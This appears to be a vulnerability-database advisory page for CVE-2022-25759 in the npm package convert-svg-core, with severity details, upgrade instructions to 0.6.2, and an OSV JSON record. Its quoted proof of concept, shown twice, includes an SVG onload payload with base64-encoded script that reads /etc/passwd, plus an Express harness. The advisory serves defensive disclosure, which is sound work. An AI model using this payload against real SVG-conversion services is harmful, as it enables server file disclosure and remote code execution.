Vulnerabilities in pkg:npm/convert-svg-core

PACKAGE
Advisory Identifier: GHSA-5gxc-fxcr-9326
Advisory Summary

CVE-2022-25759 is a CRITICAL (CVSS 9.8) convert-svg-core vulnerable to remote code vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Convert svg core libraries in the npm ecosystem. The issue involves convert-svg-core vulnerable to remote code injection. Remediation is available by upgrading affected packages to version 0.6.2.

4 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/convert-svg-core

4 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/convert-svg-core. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-5gxc-fxcr-9326 CVE-2022-25759 CRITICAL convert-svg-core vulnerable to remote code injection
GHSA-5f47-rcg5-9m24 CVE-2022-24278 HIGH Directory traversal in convert-svg-core
GHSA-54px-mhwv-5v8x CVE-2022-24429 HIGH Code injection via SVG file in convert-svg-core
GHSA-jv7g-9g6q-cxvw CVE-2021-23631 HIGH Path Traversal in convert-svg packages

CVE-2022-25759 at a Glance

CVE Identifier CVE-2022-25759
GHSA Identifier GHSA-5gxc-fxcr-9326
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Convert svg core
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2022-25759

To remediate this vulnerability, upgrade all affected Convert svg core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

convert-svg-core fixed: 0.6.2
npm install convert-svg-core@0.6.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls convert-svg-core

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2022-25759, inspect your project dependencies using npm:

npm ls convert-svg-core

Analyze the terminal output to locate any version of Convert svg core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.2), your application is affected.

Note: The npm ls convert-svg-core command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Convert svg core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code. ### PoC **Payload** ```html <svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg> ``` where the `id` attribute is the base 64-encoded form of ```js document.write('<svg-dummy></svg-dummy><iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe><svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"><text x="0" y="0" class="Rrrrr" id="demo">data</text></svg>'); ``` **Attack** ```js const { convert } = require('convert-svg-to-png'); const express = require('express'); const fileSvg = `[[[payload]]]`; // YWxlcnQoMSk= // function newContent(){document.open(),document.write('<text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text>'),document.close()} const app = express(); app.get('/poc', async (req, res)=>{ try { const png = await convert(fileSvg); res.set('Content-Type', 'image/png'); res.send(png); } catch (e) { console.log(e); res.send(""); } }); app.listen(3000, ()=>{ console.log('started'); }); ```

CVE-2022-25759 Affected Convert svg core Versions

1 component(s)
Fixed Versions:
0.6.2
Product / Package Ecosystem Affected Versions Fixed Version
convert-svg-core
npm
< 0.6.2
0.6.2

References

Frequently Asked Questions

What is CVE-2022-25759?
CVE-2022-25759 is a security vulnerability in Convert svg core involving convert-svg-core vulnerable to remote code injection under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Convert svg core versions are affected?
Affected versions include releases prior to 0.6.2 across affected packages: convert-svg-core.
What version fixes CVE-2022-25759?
Upgrading to 0.6.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is convert-svg-core affected?
Yes, convert-svg-core is affected in releases prior to 0.6.2. Upgrade your dependency to 0.6.2 or later.
What is the CVSS score of CVE-2022-25759?
CVE-2022-25759 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2022-25759?
CVE-2022-25759 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2022-25759?
Run the dependency tree command: 'npm ls convert-svg-core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5gxc-fxcr-9326",
  "modified" : "2024-04-22T23:21:54Z",
  "published" : "2022-07-23T00:00:16Z",
  "aliases" : [ "CVE-2022-25759" ],
  "summary" : "convert-svg-core vulnerable to remote code injection",
  "details" : "The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.\n\n### PoC\n\n**Payload**\n\n```html\n<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>\n```\nwhere the `id` attribute is the base 64-encoded form of \n\n```js\ndocument.write('<svg-dummy></svg-dummy><iframe src=\"file:///etc/passwd\" width=\"100%\" height=\"1000px\"></iframe><svg viewBox=\"0 0 240 80\" height=\"1000\" width=\"1000\" xmlns=\"http://www.w3.org/2000/svg\"><text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text></svg>');\n```\n\n\n**Attack**\n\n```js\nconst { convert } = require('convert-svg-to-png');\nconst express = require('express');\nconst fileSvg = `[[[payload]]]`;\n// YWxlcnQoMSk=\n// function newContent(){document.open(),document.write('<text x=\\\"0\\\" y=\\\"0\\\" class=\\\"Rrrrr\\\" id=\\\"demo\\\">data</text>'),document.close()}\nconst app = express();\napp.get('/poc', async (req, res)=>{\n  try {\n    const png = await convert(fileSvg);\n    res.set('Content-Type', 'image/png');\n    res.send(png);\n  } catch (e) {\n      console.log(e);\n    res.send(\"\");\n  }\n});\napp.listen(3000, ()=>{\n  console.log('started');\n});\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "convert-svg-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.6.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2022-25759"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/neocotic/convert-svg/issues/81"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/neocotic/convert-svg/pull/82"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/neocotic/convert-svg/commit/7e6031ac7427cf82cf312cb4a25040f2e6efe7a5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/neocotic/convert-svg"
  }, {
    "type" : "WEB",
    "url" : "https://security.snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-2849633"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-04-22T23:21:54Z",
    "nvd_published_at" : "2022-07-22T20:15:00Z"
  }
}